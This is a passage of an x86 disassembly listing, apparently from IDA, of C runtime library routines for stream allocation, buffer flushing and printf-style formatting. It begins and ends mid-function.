[ebp+var_4] push edx call sub_418ED0 add esp, 8 mov eax, [ebp+var_4] mov ecx, dword_4DB7AC mov edx, [ecx+eax*4] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_41E65D mov ecx, [ebp+var_4] mov edx, dword_4DB7AC mov eax, [edx+ecx*4] push eax mov ecx, [ebp+var_4] push ecx call sub_418F40 add esp, 8 jmp loc_41E5D0 ; --------------------------------------------------------------------------- loc_41E65D: ; CODE XREF: sub_41E5B0+8Dj mov edx, [ebp+var_4] mov eax, dword_4DB7AC mov ecx, [eax+edx*4] mov [ebp+var_8], ecx jmp short loc_41E6DE ; --------------------------------------------------------------------------- loc_41E66D: ; CODE XREF: sub_41E5B0+5Dj jmp short loc_41E6D9 ; --------------------------------------------------------------------------- loc_41E66F: ; CODE XREF: sub_41E5B0+44j push 55h push offset aStream_c ; "stream.c" push 2 push 38h call sub_414DD0 add esp, 10h mov edx, [ebp+var_4] mov ecx, dword_4DB7AC mov [ecx+edx*4], eax mov edx, [ebp+var_4] mov eax, dword_4DB7AC cmp dword ptr [eax+edx*4], 0 jz short loc_41E6D7 mov ecx, [ebp+var_4] mov edx, dword_4DB7AC mov eax, [edx+ecx*4] add eax, 20h push eax call near ptr 28606DCh nop mov ecx, [ebp+var_4] mov edx, dword_4DB7AC mov eax, [edx+ecx*4] add eax, 20h push eax nop call near ptr 77F7E21Fh mov ecx, [ebp+var_4] mov edx, dword_4DB7AC mov eax, [edx+ecx*4] mov [ebp+var_8], eax loc_41E6D7: ; CODE XREF: sub_41E5B0+EAj jmp short loc_41E6DE ; --------------------------------------------------------------------------- loc_41E6D9: ; CODE XREF: sub_41E5B0:loc_41E66Dj jmp loc_41E5D0 ; --------------------------------------------------------------------------- loc_41E6DE: ; CODE XREF: sub_41E5B0+32j ; sub_41E5B0+BBj ... cmp [ebp+var_8], 0 jz short loc_41E71F mov ecx, [ebp+var_8] mov dword ptr [ecx+4], 0 mov edx, [ebp+var_8] mov dword ptr [edx+0Ch], 0 mov eax, [ebp+var_8] mov dword ptr [eax+8], 0 mov ecx, [ebp+var_8] mov dword ptr [ecx], 0 mov edx, [ebp+var_8] mov dword ptr [edx+1Ch], 0 mov eax, [ebp+var_8] mov dword ptr [eax+10h], 0FFFFFFFFh loc_41E71F: ; CODE XREF: sub_41E5B0+132j push 2 call sub_41B820 add esp, 4 mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_41E5B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E730 proc near ; CODE XREF: sub_4170D0+DEp ; sub_4171D0+E5p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi loc_41E739: ; CODE XREF: sub_41E730+31j cmp [ebp+arg_4], 0 jnz short loc_41E75D push offset dword_4334B4 push 0 push 69h push offset a_flsbuf_c ; "_flsbuf.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_41E75D int 3 ; Trap to Debugger loc_41E75D: ; CODE XREF: sub_41E730+Dj ; sub_41E730+2Aj xor eax, eax test eax, eax jnz short loc_41E739 mov ecx, [ebp+arg_4] mov [ebp+var_8], ecx mov edx, [ebp+var_8] mov eax, [edx+10h] mov [ebp+var_10], eax mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 82h test edx, edx jz short loc_41E78F mov eax, [ebp+var_8] mov ecx, [eax+0Ch] and ecx, 40h test ecx, ecx jz short loc_41E7A5 loc_41E78F: ; CODE XREF: sub_41E730+50j mov edx, [ebp+var_8] mov eax, [edx+0Ch] or al, 20h mov ecx, [ebp+var_8] mov [ecx+0Ch], eax or eax, 0FFFFFFFFh jmp loc_41E99D ; --------------------------------------------------------------------------- loc_41E7A5: ; CODE XREF: sub_41E730+5Dj mov edx, [ebp+var_8] mov eax, [edx+0Ch] and eax, 1 test eax, eax jz short loc_41E7FC mov ecx, [ebp+var_8] mov dword ptr [ecx+4], 0 mov edx, [ebp+var_8] mov eax, [edx+0Ch] and eax, 10h test eax, eax jz short loc_41E7E5 mov ecx, [ebp+var_8] mov edx, [ebp+var_8] mov eax, [edx+8] mov [ecx], eax mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 0FFFFFFFEh mov eax, [ebp+var_8] mov [eax+0Ch], edx jmp short loc_41E7FC ; --------------------------------------------------------------------------- loc_41E7E5: ; CODE XREF: sub_41E730+97j mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] or edx, 20h mov eax, [ebp+var_8] mov [eax+0Ch], edx or eax, 0FFFFFFFFh jmp loc_41E99D ; --------------------------------------------------------------------------- loc_41E7FC: ; CODE XREF: sub_41E730+80j ; sub_41E730+B3j mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] or edx, 2 mov eax, [ebp+var_8] mov [eax+0Ch], edx mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 0FFFFFFEFh mov eax, [ebp+var_8] mov [eax+0Ch], edx mov ecx, [ebp+var_8] mov dword ptr [ecx+4], 0 mov [ebp+var_4], 0 mov edx, [ebp+var_4] mov [ebp+var_C], edx mov eax, [ebp+var_8] mov ecx, [eax+0Ch] and ecx, 10Ch test ecx, ecx jnz short loc_41E86F cmp [ebp+var_8], offset dword_4438E0 jz short loc_41E853 cmp [ebp+var_8], offset dword_443900 jnz short loc_41E863 loc_41E853: ; CODE XREF: sub_41E730+118j mov edx, [ebp+var_10] push edx call sub_4285B0 add esp, 4 test eax, eax jnz short loc_41E86F loc_41E863: ; CODE XREF: sub_41E730+121j mov eax, [ebp+var_8] push eax call sub_427F40 add esp, 4 loc_41E86F: ; CODE XREF: sub_41E730+10Fj ; sub_41E730+131j mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 108h test edx, edx jz loc_41E95B loc_41E883: ; CODE XREF: sub_41E730+187j mov eax, [ebp+var_8] mov ecx, [ebp+var_8] mov edx, [eax] sub edx, [ecx+8] test edx, edx jge short loc_41E8B3 push offset aInconsistentIo ; "(\"inconsistent IOB fields\", stream->_pt"... push 0 push 0A0h push offset a_flsbuf_c ; "_flsbuf.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_41E8B3 int 3 ; Trap to Debugger loc_41E8B3: ; CODE XREF: sub_41E730+160j ; sub_41E730+180j xor eax, eax test eax, eax jnz short loc_41E883 mov ecx, [ebp+var_8] mov edx, [ebp+var_8] mov eax, [ecx] sub eax, [edx+8] mov [ebp+var_4], eax mov ecx, [ebp+var_8] mov edx, [ecx+8] add edx, 1 mov eax, [ebp+var_8] mov [eax], edx mov ecx, [ebp+var_8] mov edx, [ecx+18h] sub edx, 1 mov eax, [ebp+var_8] mov [eax+4], edx cmp [ebp+var_4], 0 jle short loc_41E906 mov ecx, [ebp+var_4] push ecx mov edx, [ebp+var_8] mov eax, [edx+8] push eax mov ecx, [ebp+var_10] push ecx call sub_425880 add esp, 0Ch mov [ebp+var_C], eax jmp short loc_41E94E ; --------------------------------------------------------------------------- loc_41E906: ; CODE XREF: sub_41E730+1B8j cmp [ebp+var_10], 0FFFFFFFFh jz short loc_41E929 mov edx, [ebp+var_10] sar edx, 5 mov eax, [ebp+var_10] and eax, 1Fh imul eax, 24h mov ecx, dword_4DB460[edx*4] add ecx, eax mov [ebp+var_14], ecx jmp short loc_41E930 ; --------------------------------------------------------------------------- loc_41E929: ; CODE XREF: sub_41E730+1DAj mov [ebp+var_14], offset dword_444108 loc_41E930: ; CODE XREF: sub_41E730+1F7j mov edx, [ebp+var_14] movsx eax, byte ptr [edx+4] and eax, 20h test eax, eax jz short loc_41E94E push 2 push 0 mov ecx, [ebp+var_10] push ecx call sub_425420 add esp, 0Ch loc_41E94E: ; CODE XREF: sub_41E730+1D4j ; sub_41E730+20Cj mov edx, [ebp+var_8] mov eax, [edx+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41E979 ; --------------------------------------------------------------------------- loc_41E95B: ; CODE XREF: sub_41E730+14Dj mov [ebp+var_4], 1 mov edx, [ebp+var_4] push edx lea eax, [ebp+arg_0] push eax mov ecx, [ebp+var_10] push ecx call sub_425880 add esp, 0Ch mov [ebp+var_C], eax loc_41E979: ; CODE XREF: sub_41E730+229j mov edx, [ebp+var_C] cmp edx, [ebp+var_4] jz short loc_41E995 mov eax, [ebp+var_8] mov ecx, [eax+0Ch] or ecx, 20h mov edx, [ebp+var_8] mov [edx+0Ch], ecx or eax, 0FFFFFFFFh jmp short loc_41E99D ; --------------------------------------------------------------------------- loc_41E995: ; CODE XREF: sub_41E730+24Fj mov eax, [ebp+arg_0] and eax, 0FFh loc_41E99D: ; CODE XREF: sub_41E730+70j ; sub_41E730+C7j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41E730 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E9B0 proc near ; CODE XREF: sub_4170D0+93p ; sub_4171D0+9Ap ... var_2A6 = word ptr -2A6h var_2A4 = dword ptr -2A4h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch var_298 = dword ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = dword ptr -28Ch var_288 = byte ptr -288h var_284 = dword ptr -284h var_280 = dword ptr -280h var_27C = dword ptr -27Ch var_278 = dword ptr -278h var_274 = dword ptr -274h var_270 = dword ptr -270h var_26C = dword ptr -26Ch var_268 = dword ptr -268h var_264 = dword ptr -264h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = dword ptr -258h var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = word ptr -248h var_244 = dword ptr -244h var_240 = byte ptr -240h var_23F = byte ptr -23Fh var_23C = dword ptr -23Ch var_238 = dword ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = byte ptr -228h var_29 = byte ptr -29h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2A8h push ebx push esi push edi mov [ebp+var_24], 0 mov [ebp+var_22C], 0 mov [ebp+var_18], 0 loc_41E9D4: ; CODE XREF: sub_41E9B0:loc_41F5C2j mov eax, [ebp+arg_4] mov cl, [eax] mov byte ptr [ebp+var_28], cl movsx edx, byte ptr [ebp+var_28] mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax test edx, edx jz loc_41F5C7 cmp [ebp+var_22C], 0 jl loc_41F5C7 movsx ecx, byte ptr [ebp+var_28] cmp ecx, 20h jl short loc_41EA26 movsx edx, byte ptr [ebp+var_28] cmp edx, 78h jg short loc_41EA26 movsx eax, byte ptr [ebp+var_28] movsx ecx, byte ptr [eax+433F98h] and ecx, 0Fh mov [ebp+var_290], ecx jmp short loc_41EA30 ; --------------------------------------------------------------------------- loc_41EA26: ; CODE XREF: sub_41E9B0+55j ; sub_41E9B0+5Ej mov [ebp+var_290], 0 loc_41EA30: ; CODE XREF: sub_41E9B0+74j mov edx, [ebp+var_290] mov [ebp+var_C], edx mov eax, [ebp+var_C] mov ecx, [ebp+var_18] movsx edx, byte_433FB8[ecx+eax*8] sar edx, 4 mov [ebp+var_18], edx mov eax, [ebp+var_18] mov [ebp+var_294], eax cmp [ebp+var_294], 7 ja loc_41F5C2 mov ecx, [ebp+var_294] jmp off_41F5D4[ecx*4] loc_41EA70: ; CODE XREF: sub_41E9B0+332j ; DATA XREF: ___:off_41F5D4o mov [ebp+var_1C], 0 mov edx, [ebp+var_28] and edx, 0FFh mov eax, off_443C7C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_41EAED lea edx, [ebp+var_22C] push edx mov eax, [ebp+arg_0] push eax movsx ecx, byte ptr [ebp+var_28] push ecx call sub_41F6E0 add esp, 0Ch mov edx, [ebp+arg_4] mov al, [edx] mov byte ptr [ebp+var_28], al mov ecx, [ebp+arg_4] add ecx, 1 mov [ebp+arg_4], ecx loc_41EABE: ; CODE XREF: sub_41E9B0+13Bj movsx edx, byte ptr [ebp+var_28] test edx, edx jnz short loc_41EAE7 push offset aCh_t0 ; "ch != _T('\\0')" push 0 push 186h push offset aOutput_c ; "output.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_41EAE7 int 3 ; Trap to Debugger loc_41EAE7: ; CODE XREF: sub_41E9B0+114j ; sub_41E9B0+134j xor eax, eax test eax, eax jnz short loc_41EABE loc_41EAED: ; CODE XREF: sub_41E9B0+E3j lea ecx, [ebp+var_22C] push ecx mov edx, [ebp+arg_0] push edx movsx eax, byte ptr [ebp+var_28] push eax call sub_41F6E0 add esp, 0Ch jmp loc_41F5C2 ; --------------------------------------------------------------------------- loc_41EB0A: ; CODE XREF: sub_41E9B0+B9j ; DATA XREF: ___:0041F5D8o mov [ebp+var_8], 0 mov ecx, [ebp+var_8] mov [ebp+var_23C], ecx mov edx, [ebp+var_23C] mov [ebp+var_244], edx mov eax, [ebp+var_244] mov [ebp+var_10], eax mov [ebp+var_4], 0 mov [ebp+var_234], 0FFFFFFFFh mov [ebp+var_1C], 0 jmp loc_41F5C2 ; --------------------------------------------------------------------------- loc_41EB4C: ; CODE XREF: sub_41E9B0+B9j ; DATA XREF: ___:0041F5DCo movsx ecx, byte ptr [ebp+var_28] mov [ebp+var_298], ecx mov edx, [ebp+var_298] sub edx, 20h mov [ebp+var_298], edx cmp [ebp+var_298], 10h ja short loc_41EBB6 mov ecx, [ebp+var_298] xor eax, eax mov al, byte_41F60C[ecx] jmp off_41F5F4[eax*4] loc_41EB83: ; CODE XREF: sub_41E9B0+B9j ; DATA XREF: ___:0041F600o mov edx, [ebp+var_4] or edx, 4 mov [ebp+var_4], edx jmp short loc_41EBB6 ; --------------------------------------------------------------------------- loc_41EB8E: ; CODE XREF: sub_41E9B0+B9j ; sub_41E9B0+1CCj ; DATA XREF: ... mov eax, [ebp+var_4] or al, 1 mov [ebp+var_4], eax jmp short loc_41EBB6 ; --------------------------------------------------------------------------- loc_41EB98: ; CODE XREF: sub_41E9B0+B9j ; sub_41E9B0+1CCj ; DATA XREF: ... mov ecx, [ebp+var_4] or ecx, 2 mov [ebp+var_4], ecx jmp short loc_41EBB6 ; --------------------------------------------------------------------------- loc_41EBA3: ; CODE XREF: sub_41E9B0+B9j ; sub_41E9B0+1CCj ; DATA XREF: ... mov edx, [ebp+var_4] or dl, 80h mov [ebp+var_4], edx jmp short loc_41EBB6 ; --------------------------------------------------------------------------- loc_41EBAE: ; CODE XREF: sub_41E9B0+B9j ; sub_41E9B0+1CCj ; DATA XREF: ... mov eax, [ebp+var_4] or al, 8 mov [ebp+var_4], eax loc_41EBB6: ; CODE XREF: sub_41E9B0+B9j ; sub_41E9B0+1BCj ... jmp loc_41F5C2 ; --------------------------------------------------------------------------- loc_41EBBB: ; CODE XREF: sub_41E9B0+B9j ; DATA XREF: ___:0041F5E0o movsx ecx, byte ptr [ebp+var_28] cmp ecx, 2Ah jnz short loc_41EBF7 lea edx, [ebp+arg_8] push edx call sub_41F7F0 add esp, 4 mov [ebp+var_244], eax cmp [ebp+var_244], 0 jge short loc_41EBF5 mov eax, [ebp+var_4] or al, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_244] neg ecx mov [ebp+var_244], ecx loc_41EBF5: ; CODE XREF: sub_41E9B0+22Dj jmp short loc_41EC0E ; --------------------------------------------------------------------------- loc_41EBF7: ; CODE XREF: sub_41E9B0+212j mov edx, [ebp+var_244] imul edx, 0Ah movsx eax, byte ptr [ebp+var_28] lea ecx, [edx+eax-30h] mov [ebp+var_244], ecx loc_41EC0E: ; CODE XREF: sub_41E9B0:loc_41EBF5j jmp loc_41F5C2 ; --------------------------------------------------------------------------- loc_41EC13: ; CODE XREF: sub_41E9B0+B9j ; DATA XREF: ___:0041F5E4o mov [ebp+var_234], 0 jmp loc_41F5C2 ; --------------------------------------------------------------------------- loc_41EC22: ; CODE XREF: sub_41E9B0+B9j ; DATA XREF: ___:0041F5E8o movsx edx, byte ptr [ebp+var_28] cmp edx, 2Ah jnz short loc_41EC52 lea eax, [ebp+arg_8] push eax call sub_41F7F0 add esp, 4 mov [ebp+var_234], eax cmp [ebp+var_234], 0 jge short loc_41EC50 mov [ebp+var_234], 0FFFFFFFFh loc_41EC50: ; CODE XREF: sub_41E9B0+294j jmp short loc_41EC69 ; --------------------------------------------------------------------------- loc_41EC52: ; CODE XREF: sub_41E9B0+279j mov ecx, [ebp+var_234] imul ecx, 0Ah movsx edx, byte ptr [ebp+var_28] lea eax, [ecx+edx-30h] mov [ebp+var_234], eax loc_41EC69: ; CODE XREF: sub_41E9B0:loc_41EC50j jmp loc_41F5C2 ; --------------------------------------------------------------------------- loc_41EC6E: ; CODE XREF: sub_41E9B0+B9j ; DATA XREF: ___:0041F5ECo movsx ecx, byte ptr [ebp+var_28] mov [ebp+var_29C], ecx mov edx, [ebp+var_29C] sub edx, 49h mov [ebp+var_29C], edx cmp [ebp+var_29C], 2Eh ja short loc_41ECFC mov ecx, [ebp+var_29C] xor eax, eax mov al, byte_41F631[ecx] jmp off_41F61D[eax*4] loc_41ECA5: ; DATA XREF: ___:0041F625o mov edx, [ebp+var_4] or edx, 10h mov [ebp+var_4], edx jmp short loc_41ECFC ; --------------------------------------------------------------------------- loc_41ECB0: ; CODE XREF: sub_41E9B0+2EEj ; DATA XREF: ___:off_41F61Do mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax] cmp ecx, 36h jnz short loc_41ECDB mov edx, [ebp+arg_4] movsx eax, byte ptr [edx+1] cmp eax, 34h jnz short loc_41ECDB mov ecx, [ebp+arg_4] add ecx, 2 mov [ebp+arg_4], ecx mov edx, [ebp+var_4] or dh, 80h mov [ebp+var_4], edx jmp short loc_41ECE7 ; --------------------------------------------------------------------------- loc_41ECDB: ; CODE XREF: sub_41E9B0+309j ; sub_41E9B0+315j mov [ebp+var_18], 0 jmp loc_41EA70 ; --------------------------------------------------------------------------- loc_41ECE7: ; CODE XREF: sub_41E9B0+329j jmp short loc_41ECFC ; --------------------------------------------------------------------------- loc_41ECE9: ; CODE XREF: sub_41E9B0+2EEj ; DATA XREF: ___:0041F621o mov eax, [ebp+var_4] or al, 20h mov [ebp+var_4], eax jmp short loc_41ECFC ; --------------------------------------------------------------------------- loc_41ECF3: ; CODE XREF: sub_41E9B0+2EEj ; DATA XREF: ___:0041F629o mov ecx, [ebp+var_4] or ch, 8 mov [ebp+var_4], ecx loc_41ECFC: ; CODE XREF: sub_41E9B0+2DEj ; sub_41E9B0+2EEj ... jmp loc_41F5C2 ; --------------------------------------------------------------------------- loc_41ED01: ; CODE XREF: sub_41E9B0+B9j ; DATA XREF: ___:0041F5F0o movsx edx, byte ptr [ebp+var_28] mov [ebp+var_2A0], edx mov eax, [ebp+var_2A0] sub eax, 43h mov [ebp+var_2A0], eax cmp [ebp+var_2A0], 35h ja loc_41F3E7 mov edx, [ebp+var_2A0] xor ecx, ecx mov cl, byte_41F69C[edx] jmp off_41F660[ecx*4] loc_41ED3C: ; DATA XREF: ___:off_41F660o mov eax, [ebp+var_4] and eax, 830h test eax, eax jnz short loc_41ED51 mov ecx, [ebp+var_4] or ch, 8 mov [ebp+var_4], ecx loc_41ED51: ; CODE XREF: sub_41E9B0+385j ; sub_41E9B0+396j ; DATA XREF: ... mov edx, [ebp+var_4] and edx, 810h test edx, edx jz short loc_41ED97 lea eax, [ebp+arg_8] push eax call sub_41F830 add esp, 4 mov [ebp+var_14], ax mov cx, [ebp+var_14] push ecx lea edx, [ebp+var_228] push edx call sub_4285F0 add esp, 8 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jge short loc_41ED95 mov [ebp+var_23C], 1 loc_41ED95: ; CODE XREF: sub_41E9B0+3D9j jmp short loc_41EDBD ; --------------------------------------------------------------------------- loc_41ED97: ; CODE XREF: sub_41E9B0+3ACj lea eax, [ebp+arg_8] push eax call sub_41F7F0 add esp, 4 mov [ebp+var_248], ax mov cl, byte ptr [ebp+var_248] mov [ebp+var_228], cl mov [ebp+var_24], 1 loc_41EDBD: ; CODE XREF: sub_41E9B0:loc_41ED95j lea edx, [ebp+var_228] mov [ebp+var_20], edx jmp loc_41F3E7 ; --------------------------------------------------------------------------- loc_41EDCB: ; CODE XREF: sub_41E9B0+385j lea eax, [ebp+arg_8] push eax call sub_41F7F0 add esp, 4 mov [ebp+var_24C], eax cmp [ebp+var_24C], 0 jz short loc_41EDF2 mov ecx, [ebp+var_24C] cmp dword ptr [ecx+4], 0 jnz short loc_41EE0C loc_41EDF2: ; CODE XREF: sub_41E9B0+434j mov edx, off_443E88 mov [ebp+var_20], edx mov eax, [ebp+var_20] push eax call sub_414BE0 add esp, 4 mov [ebp+var_24], eax jmp short loc_41EE5B ; --------------------------------------------------------------------------- loc_41EE0C: ; CODE XREF: sub_41E9B0+440j mov ecx, [ebp+var_4] and ecx, 800h test ecx, ecx jz short loc_41EE3C mov edx, [ebp+var_24C] mov eax, [edx+4] mov [ebp+var_20], eax mov ecx, [ebp+var_24C] movsx edx, word ptr [ecx] shr edx, 1 mov [ebp+var_24], edx mov [ebp+var_1C], 1 jmp short loc_41EE5B ; --------------------------------------------------------------------------- loc_41EE3C: ; CODE XREF: sub_41E9B0+467j mov [ebp+var_1C], 0 mov eax, [ebp+var_24C] mov ecx, [eax+4] mov [ebp+var_20], ecx mov edx, [ebp+var_24C] movsx eax, word ptr [edx] mov [ebp+var_24], eax loc_41EE5B: ; CODE XREF: sub_41E9B0+45Aj ; sub_41E9B0+48Aj jmp loc_41F3E7 ; --------------------------------------------------------------------------- loc_41EE60: ; CODE XREF: sub_41E9B0+385j ; DATA XREF: ___:0041F668o mov ecx, [ebp+var_4] and ecx, 830h test ecx, ecx jnz short loc_41EE76 mov edx, [ebp+var_4] or dh, 8 mov [ebp+var_4], edx loc_41EE76: ; CODE XREF: sub_41E9B0+385j ; sub_41E9B0+4BBj ; DATA XREF: ... cmp [ebp+var_234], 0FFFFFFFFh jnz short loc_41EE8B mov [ebp+var_2A4], 7FFFFFFFh jmp short loc_41EE97 ; --------------------------------------------------------------------------- loc_41EE8B: ; CODE XREF: sub_41E9B0+4CDj mov eax, [ebp+var_234] mov [ebp+var_2A4], eax loc_41EE97: ; CODE XREF: sub_41E9B0+4D9j mov ecx, [ebp+var_2A4] mov [ebp+var_258], ecx lea edx, [ebp+arg_8] push edx call sub_41F7F0 add esp, 4 mov [ebp+var_20], eax mov eax, [ebp+var_4] and eax, 810h test eax, eax jz short loc_41EF26 cmp [ebp+var_20], 0 jnz short loc_41EECD mov ecx, off_443E8C mov [ebp+var_20], ecx loc_41EECD: ; CODE XREF: sub_41E9B0+512j mov [ebp+var_1C], 1 mov edx, [ebp+var_20] mov [ebp+var_254], edx loc_41EEDD: ; CODE XREF: sub_41E9B0+564j mov eax, [ebp+var_258] mov ecx, [ebp+var_258] sub ecx, 1 mov [ebp+var_258], ecx test eax, eax jz short loc_41EF16 mov edx, [ebp+var_254] xor eax, eax mov ax, [edx] test eax, eax jz short loc_41EF16 mov ecx, [ebp+var_254] add ecx, 2 mov [ebp+var_254], ecx jmp short loc_41EEDD ; --------------------------------------------------------------------------- loc_41EF16: ; CODE XREF: sub_41E9B0+544j ; sub_41E9B0+553j mov edx, [ebp+var_254] sub edx, [ebp+var_20] sar edx, 1 mov [ebp+var_24], edx jmp short loc_41EF80 ; --------------------------------------------------------------------------- loc_41EF26: ; CODE XREF: sub_41E9B0+50Cj cmp [ebp+var_20], 0 jnz short loc_41EF34 mov eax, off_443E88 mov [ebp+var_20], eax loc_41EF34: ; CODE XREF: sub_41E9B0+57Aj mov ecx, [ebp+var_20] mov [ebp+var_250], ecx loc_41EF3D: ; CODE XREF: sub_41E9B0+5C2j mov edx, [ebp+var_258] mov eax, [ebp+var_258] sub eax, 1 mov [ebp+var_258], eax test edx, edx jz short loc_41EF74 mov ecx, [ebp+var_250] movsx edx, byte ptr [ecx] test edx, edx jz short loc_41EF74 mov eax, [ebp+var_250] add eax, 1 mov [ebp+var_250], eax jmp short loc_41EF3D ; --------------------------------------------------------------------------- loc_41EF74: ; CODE XREF: sub_41E9B0+5A4j ; sub_41E9B0+5B1j mov ecx, [ebp+var_250] sub ecx, [ebp+var_20] mov [ebp+var_24], ecx loc_41EF80: ; CODE XREF: sub_41E9B0+574j jmp loc_41F3E7 ; --------------------------------------------------------------------------- loc_41EF85: ; CODE XREF: sub_41E9B0+385j ; DATA XREF: ___:0041F680o lea edx, [ebp+arg_8] push edx call sub_41F7F0 add esp, 4 mov [ebp+var_25C], eax mov eax, [ebp+var_4] and eax, 20h test eax, eax jz short loc_41EFB3 mov ecx, [ebp+var_25C] mov dx, word ptr [ebp+var_22C] mov [ecx], dx jmp short loc_41EFC1 ; --------------------------------------------------------------------------- loc_41EFB3: ; CODE XREF: sub_41E9B0+5EFj mov eax, [ebp+var_25C] mov ecx, [ebp+var_22C] mov [eax], ecx loc_41EFC1: ; CODE XREF: sub_41E9B0+601j mov [ebp+var_23C], 1 jmp loc_41F3E7 ; --------------------------------------------------------------------------- loc_41EFD0: ; CODE XREF: sub_41E9B0+385j ; DATA XREF: ___:0041F664o mov [ebp+var_8], 1 mov dl, byte ptr [ebp+var_28] add dl, 20h mov byte ptr [ebp+var_28], dl loc_41EFE0: ; CODE XREF: sub_41E9B0+385j ; DATA XREF: ___:0041F67Co mov eax, [ebp+var_4] or al, 40h mov [ebp+var_4], eax lea ecx, [ebp+var_228] mov [ebp+var_20], ecx cmp [ebp+var_234], 0 jge short loc_41F006 mov [ebp+var_234], 6 jmp short loc_41F022 ; --------------------------------------------------------------------------- loc_41F006: ; CODE XREF: sub_41E9B0+648j cmp [ebp+var_234], 0 jnz short loc_41F022 movsx edx, byte ptr [ebp+var_28] cmp edx, 67h jnz short loc_41F022 mov [ebp+var_234], 1 loc_41F022: ; CODE XREF: sub_41E9B0+654j ; sub_41E9B0+65Dj ... mov eax, [ebp+arg_8] add eax, 8 mov [ebp+arg_8], eax mov ecx, [ebp+arg_8] sub ecx, 8 mov edx, [ecx] mov eax, [ecx+4] mov [ebp+var_264], edx mov [ebp+var_260], eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+var_234] push edx movsx eax, byte ptr [ebp+var_28] push eax mov ecx, [ebp+var_20] push ecx lea edx, [ebp+var_264] push edx call off_444248 add esp, 14h mov eax, [ebp+var_4] and eax, 80h test eax, eax jz short loc_41F088 cmp [ebp+var_234], 0 jnz short loc_41F088 mov ecx, [ebp+var_20] push ecx call off_444254 add esp, 4 loc_41F088: ; CODE XREF: sub_41E9B0+6C0j ; sub_41E9B0+6C9j movsx edx, byte ptr [ebp+var_28] cmp edx, 67h jnz short loc_41F0AA mov eax, [ebp+var_4] and eax, 80h test eax, eax jnz short loc_41F0AA mov ecx, [ebp+var_20] push ecx call off_44424C add esp, 4 loc_41F0AA: ; CODE XREF: sub_41E9B0+6DFj ; sub_41E9B0+6EBj mov edx, [ebp+var_20] movsx eax, byte ptr [edx] cmp eax, 2Dh jnz short loc_41F0C7 mov ecx, [ebp+var_4] or ch, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx loc_41F0C7: ; CODE XREF: sub_41E9B0+703j mov eax, [ebp+var_20] push eax call sub_414BE0 add esp, 4 mov [ebp+var_24], eax jmp loc_41F3E7 ; --------------------------------------------------------------------------- loc_41F0DB: ; CODE XREF: sub_41E9B0+385j ; DATA XREF: ___:0041F678o mov ecx, [ebp+var_4] or ecx, 40h mov [ebp+var_4], ecx mov [ebp+var_238], 0Ah jmp loc_41F175 ; --------------------------------------------------------------------------- loc_41F0F3: ; CODE XREF: sub_41E9B0+385j ; DATA XREF: ___:0041F690o mov [ebp+var_238], 0Ah jmp short loc_41F175 ; --------------------------------------------------------------------------- loc_41F0FF: ; CODE XREF: sub_41E9B0+385j ; DATA XREF: ___:0041F688o mov [ebp+var_234], 8 loc_41F109: ; CODE XREF: sub_41E9B0+385j ; DATA XREF: ___:0041F66Co mov [ebp+var_230], 7 jmp short loc_41F11F ; --------------------------------------------------------------------------- loc_41F115: ; CODE XREF: sub_41E9B0+385j ; DATA XREF: ___:0041F694o mov [ebp+var_230], 27h loc_41F11F: ; CODE XREF: sub_41E9B0+763j mov [ebp+var_238], 10h mov edx, [ebp+var_4] and edx, 80h test edx, edx jz short loc_41F153 mov [ebp+var_240], 30h mov eax, [ebp+var_230] add eax, 51h mov [ebp+var_23F], al mov [ebp+var_10], 2 loc_41F153: ; CODE XREF: sub_41E9B0+784j jmp short loc_41F175 ; --------------------------------------------------------------------------- loc_41F155: ; CODE XREF: sub_41E9B0+385j ; DATA XREF: ___:0041F684o mov [ebp+var_238], 8 mov ecx, [ebp+var_4] and ecx, 80h test ecx, ecx jz short loc_41F175 mov edx, [ebp+var_4] or dh, 2 mov [ebp+var_4], edx loc_41F175: ; CODE XREF: sub_41E9B0+73Ej ; sub_41E9B0+74Dj ... mov eax, [ebp+var_4] and eax, 8000h test eax, eax jz short loc_41F19E lea ecx, [ebp+arg_8] push ecx call sub_41F810 add esp, 4 mov [ebp+var_278], eax mov [ebp+var_274], edx jmp loc_41F22F ; --------------------------------------------------------------------------- loc_41F19E: ; CODE XREF: 